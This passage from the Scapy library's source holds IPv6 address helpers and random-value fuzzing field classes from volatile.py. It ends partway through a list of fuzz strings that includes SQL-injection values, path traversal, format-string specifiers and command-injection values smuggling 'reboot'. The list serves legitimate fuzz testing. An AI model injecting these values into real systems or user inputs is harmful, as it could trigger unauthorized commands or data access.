in6_isincluded(str, 'ff05::', 16)\n\n\ndef in6_isaddrllallnodes(str):\n    # type: (str) -> bool\n    \"\"\"\n    Returns True if address is the link-local all-nodes multicast\n    address (ff02::1).\n    \"\"\"\n    return (inet_pton(socket.AF_INET6, \"ff02::1\") ==\n            inet_pton(socket.AF_INET6, str))\n\n\ndef in6_isaddrllallservers(str):\n    # type: (str) -> bool\n    \"\"\"\n    Returns True if address is the link-local all-servers multicast\n    address (ff02::2).\n    \"\"\"\n    return (inet_pton(socket.AF_INET6, \"ff02::2\") ==\n            inet_pton(socket.AF_INET6, str))\n\n\ndef in6_getscope(addr):\n    # type: (str) -> int\n    \"\"\"\n    Returns the scope of the address.\n    \"\"\"\n    if in6_isgladdr(addr) or in6_isuladdr(addr):\n        scope = IPV6_ADDR_GLOBAL\n    elif in6_islladdr(addr):\n        scope = IPV6_ADDR_LINKLOCAL\n    elif in6_issladdr(addr):\n        scope = IPV6_ADDR_SITELOCAL\n    elif in6_ismaddr(addr):\n        if in6_ismgladdr(addr):\n            scope = IPV6_ADDR_GLOBAL\n        elif in6_ismlladdr(addr):\n            scope = IPV6_ADDR_LINKLOCAL\n        elif in6_ismsladdr(addr):\n            scope = IPV6_ADDR_SITELOCAL\n        elif in6_ismnladdr(addr):\n            scope = IPV6_ADDR_LOOPBACK\n        else:\n            scope = -1\n    elif addr == '::1':\n        scope = IPV6_ADDR_LOOPBACK\n    else:\n        scope = -1\n    return scope\n\n\ndef in6_get_common_plen(a, b):\n    # type: (str, str) -> int\n    \"\"\"\n    Return common prefix length of IPv6 addresses a and b.\n    \"\"\"\n    def matching_bits(byte1, byte2):\n        # type: (int, int) -> int\n        for i in range(8):\n            cur_mask = 0x80 >> i\n            if (byte1 & cur_mask) != (byte2 & cur_mask):\n                return i\n        return 8\n\n    tmpA = inet_pton(socket.AF_INET6, a)\n    tmpB = inet_pton(socket.AF_INET6, b)\n    for i in range(16):\n        mbits = matching_bits(orb(tmpA[i]), orb(tmpB[i]))\n        if mbits != 8:\n            return 8 * i + mbits\n    return 128\n\n\ndef in6_isvalid(address):\n    # type: (str) -> bool\n    \"\"\"Return True if 'address' is a valid IPv6 address string, False\n       otherwise.\"\"\"\n\n    try:\n        inet_pton(socket.AF_INET6, address)\n        return True\n    except Exception:\n        return False\n\n\nclass Net6(Net):  # syntax ex. 2011:db8::/126\n    \"\"\"Network object from an IP address or hostname and mask\"\"\"\n    name = \"Net6\"  # type: str\n    family = socket.AF_INET6  # type: int\n    max_mask = 128  # type: int\n\n    @classmethod\n    def ip2int(cls, addr):\n        # type: (str) -> int\n        val1, val2 = struct.unpack(\n            '!QQ', inet_pton(socket.AF_INET6, cls.name2addr(addr))\n        )\n        return cast(int, (val1 << 64) + val2)\n\n    @staticmethod\n    def int2ip(val):\n        # type: (int) -> str\n        return inet_ntop(\n            socket.AF_INET6,\n            struct.pack('!QQ', val >> 64, val & 0xffffffffffffffff),\n        )\n"
  },
  {
    "path": "scapy/volatile.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Philippe Biondi <phil@secdev.org>\n# Copyright (C) Michael Farrell <micolous+git@gmail.com>\n# Copyright (C) Gauthier Sebaux\n\n\"\"\"\nFields that hold random numbers.\n\"\"\"\n\nimport copy\nimport random\nimport time\nimport math\nimport re\nimport uuid\nimport struct\nimport string\n\nfrom scapy.base_classes import Net\nfrom scapy.compat import bytes_encode, chb, plain_str\nfrom scapy.utils import corrupt_bits, corrupt_bytes\n\nfrom typing import (\n    List,\n    TypeVar,\n    Generic,\n    Set,\n    Union,\n    Any,\n    Dict,\n    Optional,\n    Tuple,\n    cast,\n)\n\n####################\n#  Random numbers  #\n####################\n\n\nclass RandomEnumeration:\n    \"\"\"iterate through a sequence in random order.\n       When all the values have been drawn, if forever=1, the drawing is done again.  # noqa: E501\n       If renewkeys=0, the draw will be in the same order, guaranteeing that the same  # noqa: E501\n       number will be drawn in not less than the number of integers of the sequence\"\"\"  # noqa: E501\n\n    def __init__(self, inf, sup, seed=None, forever=1, renewkeys=0):\n        # type: (int, int, Optional[int], int, int) -> None\n        self.forever = forever\n        self.renewkeys = renewkeys\n        self.inf = inf\n        self.rnd = random.Random(seed)\n        self.sbox_size = 256\n\n        self.top = sup - inf + 1\n\n        n = 0\n        while (1 << n) < self.top:\n            n += 1\n        self.n = n\n\n        self.fs = min(3, (n + 1) // 2)\n        self.fsmask = 2**self.fs - 1\n        self.rounds = max(self.n, 3)\n        self.turns = 0\n        self.i = 0\n\n    def __iter__(self):\n        # type: () -> RandomEnumeration\n        return self\n\n    def next(self):\n        # type: () -> int\n        while True:\n            if self.turns == 0 or (self.i == 0 and self.renewkeys):\n                self.cnt_key = self.rnd.randint(0, 2**self.n - 1)\n                self.sbox = [self.rnd.randint(0, self.fsmask)\n                             for _ in range(self.sbox_size)]\n            self.turns += 1\n            while self.i < 2**self.n:\n                ct = self.i ^ self.cnt_key\n                self.i += 1\n                for _ in range(self.rounds):  # Unbalanced Feistel Network\n                    lsb = ct & self.fsmask\n                    ct >>= self.fs\n                    lsb ^= self.sbox[ct % self.sbox_size]\n                    ct |= lsb << (self.n - self.fs)\n\n                if ct < self.top:\n                    return self.inf + ct\n            self.i = 0\n            if not self.forever:\n                raise StopIteration\n    __next__ = next\n\n\n_T = TypeVar('_T')\n\n\nclass VolatileValue(Generic[_T]):\n    def __repr__(self):\n        # type: () -> str\n        return \"<%s>\" % self.__class__.__name__\n\n    def _command_args(self):\n        # type: () -> str\n        return ''\n\n    def command(self, json=False):\n        # type: (bool) -> Union[Dict[str, str], str]\n        if json:\n            return {\"type\": self.__class__.__name__, \"value\": self._command_args()}\n        else:\n            return \"%s(%s)\" % (self.__class__.__name__, self._command_args())\n\n    def __eq__(self, other):\n        # type: (Any) -> bool\n        x = self._fix()\n        y = other._fix() if isinstance(other, VolatileValue) else other\n        if not isinstance(x, type(y)):\n            return False\n        return bool(x == y)\n\n    def __ne__(self, other):\n        # type: (Any) -> bool\n        # Python 2.7 compat\n        return not self == other\n\n    __hash__ = None  # type: ignore\n\n    def __getattr__(self, attr):\n        # type: (str) -> Any\n        if attr in [\"__setstate__\", \"__getstate__\"]:\n            raise AttributeError(attr)\n        return getattr(self._fix(), attr)\n\n    def __str__(self):\n        # type: () -> str\n        return str(self._fix())\n\n    def __bytes__(self):\n        # type: () -> bytes\n        return bytes_encode(self._fix())\n\n    def __len__(self):\n        # type: () -> int\n        # Does not work for some types (int?)\n        return len(self._fix())  # type: ignore\n\n    def copy(self):\n        # type: () -> Any\n        return copy.copy(self)\n\n    def _fix(self):\n        # type: () -> _T\n        return cast(_T, None)\n\n\nclass RandField(VolatileValue[_T], Generic[_T]):\n    pass\n\n\n_I = TypeVar(\"_I\", int, float)\n\n\nclass _RandNumeral(RandField[_I]):\n    \"\"\"Implements integer management in RandField\"\"\"\n\n    def __int__(self):\n        # type: () -> int\n        return int(self._fix())\n\n    def __index__(self):\n        # type: () -> int\n        return int(self)\n\n    def __nonzero__(self):\n        # type: () -> bool\n        return bool(self._fix())\n    __bool__ = __nonzero__\n\n    def __add__(self, other):\n        # type: (_I) -> _I\n        return self._fix() + other\n\n    def __radd__(self, other):\n        # type: (_I) -> _I\n        return other + self._fix()\n\n    def __sub__(self, other):\n        # type: (_I) -> _I\n        return self._fix() - other\n\n    def __rsub__(self, other):\n        # type: (_I) -> _I\n        return other - self._fix()\n\n    def __mul__(self, other):\n        # type: (_I) -> _I\n        return self._fix() * other\n\n    def __rmul__(self, other):\n        # type: (_I) -> _I\n        return other * self._fix()\n\n    def __floordiv__(self, other):\n        # type: (_I) -> float\n        return self._fix() / other\n    __div__ = __floordiv__\n\n    def __lt__(self, other):\n        # type: (_I) -> bool\n        return self._fix() < other\n\n    def __le__(self, other):\n        # type: (_I) -> bool\n        return self._fix() <= other\n\n    def __ge__(self, other):\n        # type: (_I) -> bool\n        return self._fix() >= other\n\n    def __gt__(self, other):\n        # type: (_I) -> bool\n        return self._fix() > other\n\n\nclass RandNum(_RandNumeral[int]):\n    \"\"\"Instances evaluate to random integers in selected range\"\"\"\n    min = 0\n    max = 0\n\n    def __init__(self, min, max):\n        # type: (int, int) -> None\n        self.min = min\n        self.max = max\n\n    def _command_args(self):\n        # type: () -> str\n        if self.__class__.__name__ == 'RandNum':\n            return \"min=%r, max=%r\" % (self.min, self.max)\n        return super(RandNum, self)._command_args()\n\n    def _fix(self):\n        # type: () -> int\n        return random.randrange(self.min, self.max + 1)\n\n    def __lshift__(self, other):\n        # type: (int) -> int\n        return self._fix() << other\n\n    def __rshift__(self, other):\n        # type: (int) -> int\n        return self._fix() >> other\n\n    def __and__(self, other):\n        # type: (int) -> int\n        return self._fix() & other\n\n    def __rand__(self, other):\n        # type: (int) -> int\n        return other & self._fix()\n\n    def __or__(self, other):\n        # type: (int) -> int\n        return self._fix() | other\n\n    def __ror__(self, other):\n        # type: (int) -> int\n        return other | self._fix()\n\n\nclass RandFloat(_RandNumeral[float]):\n    def __init__(self, min, max):\n        # type: (int, int) -> None\n        self.min = min\n        self.max = max\n\n    def _fix(self):\n        # type: () -> float\n        return random.uniform(self.min, self.max)\n\n\nclass RandBinFloat(RandFloat):\n    def _fix(self):\n        # type: () -> float\n        return cast(\n            float,\n            struct.unpack(\"!f\", bytes(RandBin(4)))[0]\n        )\n\n\nclass RandNumGamma(RandNum):\n    def __init__(self, alpha, beta):\n        # type: (int, int) -> None\n        self.alpha = alpha\n        self.beta = beta\n\n    def _command_args(self):\n        # type: () -> str\n        return \"alpha=%r, beta=%r\" % (self.alpha, self.beta)\n\n    def _fix(self):\n        # type: () -> int\n        return int(round(random.gammavariate(self.alpha, self.beta)))\n\n\nclass RandNumGauss(RandNum):\n    def __init__(self, mu, sigma):\n        # type: (int, int) -> None\n        self.mu = mu\n        self.sigma = sigma\n\n    def _command_args(self):\n        # type: () -> str\n        return \"mu=%r, sigma=%r\" % (self.mu, self.sigma)\n\n    def _fix(self):\n        # type: () -> int\n        return int(round(random.gauss(self.mu, self.sigma)))\n\n\nclass RandNumExpo(RandNum):\n    def __init__(self, lambd, base=0):\n        # type: (float, int) -> None\n        self.lambd = lambd\n        self.base = base\n\n    def _command_args(self):\n        # type: () -> str\n        ret = \"lambd=%r\" % self.lambd\n        if self.base != 0:\n            ret += \", base=%r\" % self.base\n        return ret\n\n    def _fix(self):\n        # type: () -> int\n        return self.base + int(round(random.expovariate(self.lambd)))\n\n\nclass RandEnum(RandNum):\n    \"\"\"Instances evaluate to integer sampling without replacement from the given interval\"\"\"  # noqa: E501\n\n    def __init__(self, min, max, seed=None):\n        # type: (int, int, Optional[int]) -> None\n        self._seed = seed\n        self.seq = RandomEnumeration(min, max, seed)\n        super(RandEnum, self).__init__(min, max)\n\n    def _command_args(self):\n        # type: () -> str\n        ret = \"min=%r, max=%r\" % (self.min, self.max)\n        if self._seed:\n            ret += \", seed=%r\" % self._seed\n        return ret\n\n    def _fix(self):\n        # type: () -> int\n        return next(self.seq)\n\n\nclass RandByte(RandNum):\n    def __init__(self):\n        # type: () -> None\n        RandNum.__init__(self, 0, 2**8 - 1)\n\n\nclass RandSByte(RandNum):\n    def __init__(self):\n        # type: () -> None\n        RandNum.__init__(self, -2**7, 2**7 - 1)\n\n\nclass RandShort(RandNum):\n    def __init__(self):\n        # type: () -> None\n        RandNum.__init__(self, 0, 2**16 - 1)\n\n\nclass RandSShort(RandNum):\n    def __init__(self):\n        # type: () -> None\n        RandNum.__init__(self, -2**15, 2**15 - 1)\n\n\nclass RandInt(RandNum):\n    def __init__(self):\n        # type: () -> None\n        RandNum.__init__(self, 0, 2**32 - 1)\n\n\nclass RandSInt(RandNum):\n    def __init__(self):\n        # type: () -> None\n        RandNum.__init__(self, -2**31, 2**31 - 1)\n\n\nclass RandLong(RandNum):\n    def __init__(self):\n        # type: () -> None\n        RandNum.__init__(self, 0, 2**64 - 1)\n\n\nclass RandSLong(RandNum):\n    def __init__(self):\n        # type: () -> None\n        RandNum.__init__(self, -2**63, 2**63 - 1)\n\n\nclass RandEnumByte(RandEnum):\n    def __init__(self):\n        # type: () -> None\n        RandEnum.__init__(self, 0, 2**8 - 1)\n\n\nclass RandEnumSByte(RandEnum):\n    def __init__(self):\n        # type: () -> None\n        RandEnum.__init__(self, -2**7, 2**7 - 1)\n\n\nclass RandEnumShort(RandEnum):\n    def __init__(self):\n        # type: () -> None\n        RandEnum.__init__(self, 0, 2**16 - 1)\n\n\nclass RandEnumSShort(RandEnum):\n    def __init__(self):\n        # type: () -> None\n        RandEnum.__init__(self, -2**15, 2**15 - 1)\n\n\nclass RandEnumInt(RandEnum):\n    def __init__(self):\n        # type: () -> None\n        RandEnum.__init__(self, 0, 2**32 - 1)\n\n\nclass RandEnumSInt(RandEnum):\n    def __init__(self):\n        # type: () -> None\n        RandEnum.__init__(self, -2**31, 2**31 - 1)\n\n\nclass RandEnumLong(RandEnum):\n    def __init__(self):\n        # type: () -> None\n        RandEnum.__init__(self, 0, 2**64 - 1)\n\n\nclass RandEnumSLong(RandEnum):\n    def __init__(self):\n        # type: () -> None\n        RandEnum.__init__(self, -2**63, 2**63 - 1)\n\n\nclass RandEnumKeys(RandEnum):\n    \"\"\"Picks a random value from dict keys list. \"\"\"\n\n    def __init__(self, enum, seed=None):\n        # type: (Dict[Any, Any], Optional[int]) -> None\n        self.enum = list(enum)\n        RandEnum.__init__(self, 0, len(self.enum) - 1, seed)\n\n    def _command_args(self):\n        # type: () -> str\n        # Note: only outputs the list of keys, but values are irrelevant anyway\n        ret = \"enum=%r\" % self.enum\n        if self._seed:\n            ret += \", seed=%r\" % self._seed\n        return ret\n\n    def _fix(self):\n        # type: () -> Any\n        return self.enum[next(self.seq)]\n\n\nclass RandChoice(RandField[Any]):\n    def __init__(self, *args):\n        # type: (*Any) -> None\n        if not args:\n            raise TypeError(\"RandChoice needs at least one choice\")\n        self._choice = list(args)\n\n    def _command_args(self):\n        # type: () -> str\n        return \", \".join(self._choice)\n\n    def _fix(self):\n        # type: () -> Any\n        return random.choice(self._choice)\n\n\n_S = TypeVar(\"_S\", bytes, str)\n\n\nclass _RandString(RandField[_S], Generic[_S]):\n    def __str__(self):\n        # type: () -> str\n        return plain_str(self._fix())\n\n    def __bytes__(self):\n        # type: () -> bytes\n        return bytes_encode(self._fix())\n\n    def __mul__(self, n):\n        # type: (int) -> _S\n        return self._fix() * n\n\n\nclass RandString(_RandString[str]):\n    _DEFAULT_CHARS = (string.ascii_uppercase + string.ascii_lowercase +\n                      string.digits)\n\n    def __init__(self, size=None, chars=_DEFAULT_CHARS):\n        # type: (Optional[Union[int, RandNum]], str) -> None\n        if size is None:\n            size = RandNumExpo(0.01)\n        self.size = size\n        self.chars = chars\n\n    def _command_args(self):\n        # type: () -> str\n        ret = \"\"\n        if isinstance(self.size, VolatileValue):\n            if self.size.lambd != 0.01 or self.size.base != 0:\n                ret += \"size=%r\" % self.size.command()\n        else:\n            ret += \"size=%r\" % self.size\n\n        if self.chars != self._DEFAULT_CHARS:\n            ret += \", chars=%r\" % self.chars\n        return ret\n\n    def _fix(self):\n        # type: () -> str\n        s = \"\"\n        for _ in range(int(self.size)):\n            s += random.choice(self.chars)\n        return s\n\n\nclass RandBin(_RandString[bytes]):\n    _DEFAULT_CHARS = b\"\".join(chb(c) for c in range(256))\n\n    def __init__(self, size=None, chars=_DEFAULT_CHARS):\n        # type: (Optional[Union[int, RandNum]], bytes) -> None\n        if size is None:\n            size = RandNumExpo(0.01)\n        self.size = size\n        self.chars = chars\n\n    def _command_args(self):\n        # type: () -> str\n        if not isinstance(self.size, VolatileValue):\n            return \"size=%r\" % self.size\n\n        if isinstance(self.size, RandNumExpo) and \\\n                self.size.lambd == 0.01 and self.size.base == 0:\n            # Default size for RandString, skip\n            return \"\"\n        return \"size=%r\" % self.size.command()\n\n    def _fix(self):\n        # type: () -> bytes\n        s = b\"\"\n        for _ in range(int(self.size)):\n            s += struct.pack(\"!B\", random.choice(self.chars))\n        return s\n\n\nclass RandTermString(RandBin):\n    def __init__(self, size, term):\n        # type: (Union[int, RandNum], bytes) -> None\n        self.term = bytes_encode(term)\n        super(RandTermString, self).__init__(size=size)\n        self.chars = self.chars.replace(self.term, b\"\")\n\n    def _command_args(self):\n        # type: () -> str\n        return \", \".join((super(RandTermString, self)._command_args(),\n                          \"term=%r\" % self.term))\n\n    def _fix(self):\n        # type: () -> bytes\n        return RandBin._fix(self) + self.term\n\n\nclass RandIP(_RandString[str]):\n    _DEFAULT_IPTEMPLATE = \"0.0.0.0/0\"\n\n    def __init__(self, iptemplate=_DEFAULT_IPTEMPLATE):\n        # type: (str) -> None\n        super(RandIP, self).__init__()\n        self.ip = Net(iptemplate)\n\n    def _command_args(self):\n        # type: () -> str\n        rep = \"%s/%s\" % (self.ip.net, self.ip.mask)\n        if rep == self._DEFAULT_IPTEMPLATE:\n            return \"\"\n        return \"iptemplate=%r\" % rep\n\n    def _fix(self):\n        # type: () -> str\n        return self.ip.choice()\n\n\nclass RandMAC(_RandString[str]):\n    def __init__(self, _template=\"*\"):\n        # type: (str) -> None\n        super(RandMAC, self).__init__()\n        self._template = _template\n        _template += \":*:*:*:*:*\"\n        template = _template.split(\":\")\n        self.mac = ()  # type: Tuple[Union[int, RandNum], ...]\n        for i in range(6):\n            v = 0  # type: Union[int, RandNum]\n            if template[i] == \"*\":\n                v = RandByte()\n            elif \"-\" in template[i]:\n                x, y = template[i].split(\"-\")\n                v = RandNum(int(x, 16), int(y, 16))\n            else:\n                v = int(template[i], 16)\n            self.mac += (v,)\n\n    def _command_args(self):\n        # type: () -> str\n        if self._template == \"*\":\n            return \"\"\n        return \"template=%r\" % self._template\n\n    def _fix(self):\n        # type: () -> str\n        return \"%02x:%02x:%02x:%02x:%02x:%02x\" % self.mac  # type: ignore\n\n\nclass RandIP6(_RandString[str]):\n    def __init__(self, ip6template=\"**\"):\n        # type: (str) -> None\n        super(RandIP6, self).__init__()\n        self.tmpl = ip6template\n        self.sp = []  # type: List[Union[int, RandNum, str]]\n        for v in self.tmpl.split(\":\"):\n            if not v or v == \"**\":\n                self.sp.append(v)\n                continue\n            if \"-\" in v:\n                a, b = v.split(\"-\")\n            elif v == \"*\":\n                a = b = \"\"\n            else:\n                a = b = v\n\n            if not a:\n                a = \"0\"\n            if not b:\n                b = \"ffff\"\n            if a == b:\n                self.sp.append(int(a, 16))\n            else:\n                self.sp.append(RandNum(int(a, 16), int(b, 16)))\n        self.variable = \"\" in self.sp\n        self.multi = self.sp.count(\"**\")\n\n    def _command_args(self):\n        # type: () -> str\n        if self.tmpl == \"**\":\n            return \"\"\n        return \"ip6template=%r\" % self.tmpl\n\n    def _fix(self):\n        # type: () -> str\n        nbm = self.multi\n        ip = []  # type: List[str]\n        for i, n in enumerate(self.sp):\n            if n == \"**\":\n                nbm -= 1\n                remain = 8 - (len(self.sp) - i - 1) - len(ip) + nbm\n                if \"\" in self.sp:\n                    remain += 1\n                if nbm or self.variable:\n                    remain = random.randint(0, remain)\n                for j in range(remain):\n                    ip.append(\"%04x\" % random.randint(0, 65535))\n            elif isinstance(n, RandNum):\n                ip.append(\"%04x\" % int(n))\n            elif n == 0:\n                ip.append(\"0\")\n            elif not n:\n                ip.append(\"\")\n            else:\n                ip.append(\"%04x\" % int(n))\n        if len(ip) == 9:\n            ip.remove(\"\")\n        if ip[-1] == \"\":\n            ip[-1] = \"0\"\n        return \":\".join(ip)\n\n\nclass RandOID(_RandString[str]):\n    def __init__(self, fmt=None, depth=RandNumExpo(0.1), idnum=RandNumExpo(0.01)):  # noqa: E501\n        # type: (Optional[str], RandNumExpo, RandNumExpo) -> None\n        super(RandOID, self).__init__()\n        self.ori_fmt = fmt\n        self.fmt = None  # type: Optional[List[Union[str, Tuple[int, ...]]]]\n        if fmt is not None:\n            self.fmt = [\n                tuple(map(int, x.split(\"-\"))) if \"-\" in x else x\n                for x in fmt.split(\".\")\n            ]\n        self.depth = depth\n        self.idnum = idnum\n\n    def _command_args(self):\n        # type: () -> str\n        ret = []\n        if self.fmt:\n            ret.append(\"fmt=%r\" % self.ori_fmt)\n\n        if not isinstance(self.depth, VolatileValue):\n            ret.append(\"depth=%r\" % self.depth)\n        elif not isinstance(self.depth, RandNumExpo) or \\\n                self.depth.lambd != 0.1 or self.depth.base != 0:\n            ret.append(\"depth=%s\" % self.depth.command())\n\n        if not isinstance(self.idnum, VolatileValue):\n            ret.append(\"idnum=%r\" % self.idnum)\n        elif not isinstance(self.idnum, RandNumExpo) or \\\n                self.idnum.lambd != 0.01 or self.idnum.base != 0:\n            ret.append(\"idnum=%s\" % self.idnum.command())\n\n        return \", \".join(ret)\n\n    def __repr__(self):\n        # type: () -> str\n        if self.ori_fmt is None:\n            return \"<%s>\" % self.__class__.__name__\n        else:\n            return \"<%s [%s]>\" % (self.__class__.__name__, self.ori_fmt)\n\n    def _fix(self):\n        # type: () -> str\n        if self.fmt is None:\n            return \".\".join(str(self.idnum) for _ in range(1 + self.depth))\n        else:\n            oid = []\n            for i in self.fmt:\n                if i == \"*\":\n                    oid.append(str(self.idnum))\n                elif i == \"**\":\n                    oid += [str(self.idnum) for i in range(1 + self.depth)]\n                elif isinstance(i, tuple):\n                    oid.append(str(random.randrange(*i)))\n                else:\n                    oid.append(i)\n            return \".\".join(oid)\n\n\nclass RandRegExp(RandField[str]):\n    def __init__(self, regexp, lambda_=0.3):\n        # type: (str, float) -> None\n        self._regexp = regexp\n        self._lambda = lambda_\n\n    def _command_args(self):\n        # type: () -> str\n        ret = \"regexp=%r\" % self._regexp\n        if self._lambda != 0.3:\n            ret += \", lambda_=%r\" % self._lambda\n        return ret\n\n    special_sets = {\n        \"[:alnum:]\": \"[a-zA-Z0-9]\",\n        \"[:alpha:]\": \"[a-zA-Z]\",\n        \"[:ascii:]\": \"[\\x00-\\x7F]\",\n        \"[:blank:]\": \"[ \\t]\",\n        \"[:cntrl:]\": \"[\\x00-\\x1F\\x7F]\",\n        \"[:digit:]\": \"[0-9]\",\n        \"[:graph:]\": \"[\\x21-\\x7E]\",\n        \"[:lower:]\": \"[a-z]\",\n        \"[:print:]\": \"[\\x20-\\x7E]\",\n        \"[:punct:]\": \"[!\\\"\\\\#$%&'()*+,\\\\-./:;<=>?@\\\\[\\\\\\\\\\\\]^_{|}~]\",\n        \"[:space:]\": \"[ \\t\\r\\n\\v\\f]\",\n        \"[:upper:]\": \"[A-Z]\",\n        \"[:word:]\": \"[A-Za-z0-9_]\",\n        \"[:xdigit:]\": \"[A-Fa-f0-9]\",\n    }\n\n    @staticmethod\n    def choice_expand(s):\n        # type: (str) -> str\n        m = \"\"\n        invert = s and s[0] == \"^\"\n        while True:\n            p = s.find(\"-\")\n            if p < 0:\n                break\n            if p == 0 or p == len(s) - 1:\n                m = \"-\"\n                if p:\n                    s = s[:-1]\n                else:\n                    s = s[1:]\n            else:\n                c1 = s[p - 1]\n                c2 = s[p + 1]\n                rng = \"\".join(map(chr, range(ord(c1), ord(c2) + 1)))\n                s = s[:p - 1] + rng + s[p + 1:]\n        res = m + s\n        if invert:\n            res = \"\".join(chr(x) for x in range(256) if chr(x) not in res)\n        return res\n\n    @staticmethod\n    def stack_fix(lst, index):\n        # type: (List[Any], List[Any]) -> str\n        r = \"\"\n        mul = 1\n        for e in lst:\n            if isinstance(e, list):\n                if mul != 1:\n                    mul = mul - 1\n                    r += RandRegExp.stack_fix(e[1:] * mul, index)\n                # only the last iteration should be kept for back reference\n                f = RandRegExp.stack_fix(e[1:], index)\n                for i, idx in enumerate(index):\n                    if e is idx:\n                        index[i] = f\n                r += f\n                mul = 1\n            elif isinstance(e, tuple):\n                kind, val = e\n                if kind == \"cite\":\n                    r += index[val - 1]\n                elif kind == \"repeat\":\n                    mul = val\n\n                elif kind == \"choice\":\n                    if mul == 1:\n                        c = random.choice(val)\n                        r += RandRegExp.stack_fix(c[1:], index)\n                    else:\n                        r += RandRegExp.stack_fix([e] * mul, index)\n                        mul = 1\n            else:\n                if mul != 1:\n                    r += RandRegExp.stack_fix([e] * mul, index)\n                    mul = 1\n                else:\n                    r += str(e)\n        return r\n\n    def _fix(self):\n        # type: () -> str\n        stack = [None]\n        index = []\n        # Give up on typing this\n        current = stack  # type: Any\n        i = 0\n        regexp = self._regexp\n        for k, v in self.special_sets.items():\n            regexp = regexp.replace(k, v)\n        ln = len(regexp)\n        interp = True\n        while i < ln:\n            c = regexp[i]\n            i += 1\n\n            if c == '(':\n                current = [current]\n                current[0].append(current)\n            elif c == '|':\n                p = current[0]\n                ch = p[-1]\n                if not isinstance(ch, tuple):\n                    ch = (\"choice\", [current])\n                    p[-1] = ch\n                else:\n                    ch[1].append(current)\n                current = [p]\n            elif c == ')':\n                ch = current[0][-1]\n                if isinstance(ch, tuple):\n                    ch[1].append(current)\n                index.append(current)\n                current = current[0]\n            elif c == '[' or c == '{':\n                current = [current]\n                current[0].append(current)\n                interp = False\n            elif c == ']':\n                current = current[0]\n                choice = RandRegExp.choice_expand(\"\".join(current.pop()[1:]))\n                current.append(RandChoice(*list(choice)))\n                interp = True\n            elif c == '}':\n                current = current[0]\n                num = \"\".join(current.pop()[1:])\n                e = current.pop()\n                if \",\" not in num:\n                    current.append([current] + [e] * int(num))\n                else:\n                    num_min, num_max = num.split(\",\")\n                    if not num_min:\n                        num_min = \"0\"\n                    if num_max:\n                        n = RandNum(int(num_min), int(num_max))\n                    else:\n                        n = RandNumExpo(self._lambda, base=int(num_min))\n                    current.append((\"repeat\", n))\n                    current.append(e)\n                interp = True\n            elif c == '\\\\':\n                c = regexp[i]\n                if c == \"s\":\n                    current.append(RandChoice(\" \", \"\\t\"))\n                elif c in \"0123456789\":\n                    current.append(\"cite\", ord(c) - 0x30)\n                i += 1\n            elif not interp:\n                current.append(c)\n            elif c == '+':\n                e = current.pop()\n                current.append([current] + [e] * (int(random.expovariate(self._lambda)) + 1))  # noqa: E501\n            elif c == '*':\n                e = current.pop()\n                current.append([current] + [e] * int(random.expovariate(self._lambda)))  # noqa: E501\n            elif c == '?':\n                if random.randint(0, 1):\n                    current.pop()\n            elif c == '.':\n                current.append(RandChoice(*[chr(x) for x in range(256)]))\n            elif c == '$' or c == '^':\n                pass\n            else:\n                current.append(c)\n\n        return RandRegExp.stack_fix(stack[1:], index)\n\n    def __repr__(self):\n        # type: () -> str\n        return \"<%s [%r]>\" % (self.__class__.__name__, self._regexp)\n\n\nclass RandSingularity(RandChoice):\n    pass\n\n\nclass RandSingNum(RandSingularity):\n    @staticmethod\n    def make_power_of_two(end):\n        # type: (int) -> Set[int]\n        sign = 1\n        if end == 0:\n            end = 1\n        if end < 0:\n            end = -end\n            sign = -1\n        end_n = int(math.log(end) / math.log(2)) + 1\n        return {sign * 2**i for i in range(end_n)}\n\n    def __init__(self, mn, mx):\n        # type: (int, int) -> None\n        self._mn = mn\n        self._mx = mx\n        sing = {0, mn, mx, int((mn + mx) / 2)}\n        sing |= self.make_power_of_two(mn)\n        sing |= self.make_power_of_two(mx)\n        for i in sing.copy():\n            sing.add(i + 1)\n            sing.add(i - 1)\n        for i in sing.copy():\n            if not mn <= i <= mx:\n                sing.remove(i)\n        super(RandSingNum, self).__init__(*sing)\n        self._choice.sort()\n\n    def _command_args(self):\n        # type: () -> str\n        if self.__class__.__name__ == 'RandSingNum':\n            return \"mn=%r, mx=%r\" % (self._mn, self._mx)\n        return super(RandSingNum, self)._command_args()\n\n\nclass RandSingByte(RandSingNum):\n    def __init__(self):\n        # type: () -> None\n        RandSingNum.__init__(self, 0, 2**8 - 1)\n\n\nclass RandSingSByte(RandSingNum):\n    def __init__(self):\n        # type: () -> None\n        RandSingNum.__init__(self, -2**7, 2**7 - 1)\n\n\nclass RandSingShort(RandSingNum):\n    def __init__(self):\n        # type: () -> None\n        RandSingNum.__init__(self, 0, 2**16 - 1)\n\n\nclass RandSingSShort(RandSingNum):\n    def __init__(self):\n        # type: () -> None\n        RandSingNum.__init__(self, -2**15, 2**15 - 1)\n\n\nclass RandSingInt(RandSingNum):\n    def __init__(self):\n        # type: () -> None\n        RandSingNum.__init__(self, 0, 2**32 - 1)\n\n\nclass RandSingSInt(RandSingNum):\n    def __init__(self):\n        # type: () -> None\n        RandSingNum.__init__(self, -2**31, 2**31 - 1)\n\n\nclass RandSingLong(RandSingNum):\n    def __init__(self):\n        # type: () -> None\n        RandSingNum.__init__(self, 0, 2**64 - 1)\n\n\nclass RandSingSLong(RandSingNum):\n    def __init__(self):\n        # type: () -> None\n        RandSingNum.__init__(self, -2**63, 2**63 - 1)\n\n\nclass RandSingString(RandSingularity):\n    def __init__(self):\n        # type: () -> None\n        choices_list = [\"\",\n                        \"%x\",\n                        \"%%\",\n                        \"%s\",\n                        \"%i\",\n                        \"%n\",\n                        \"%x%x%x%x%x%x%x%x%x\",\n                        \"%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s\",\n                        \"%\",\n                        \"%%%\",\n                        \"A\" * 4096,\n                        b\"\\x00\" * 4096,\n                        b\"\\xff\" * 4096,\n                        b\"\\x7f\" * 4096,\n                        b\"\\x80\" * 4096,\n                        \" \" * 4096,\n                        \"\\\\\" * 4096,\n                        \"(\" * 4096,\n                        \"../\" * 1024,\n                        \"/\" * 1024,\n                        \"${HOME}\" * 512,\n                        \" or 1=1 --\",\n                        \"' or 1=1 --\",\n                        '\" or 1=1 --',\n                        \" or 1=1; #\",\n                        \"' or 1=1; #\",\n                        '\" or 1=1; #',\n                        \";reboot;\",\n                        \"$(reboot)\",\n                        \"`reboot`\",\n                        \"index.php%00\",\n                        b\"\\x00\",\n                        \"%00\",\n                        \"\\\\\",\n                        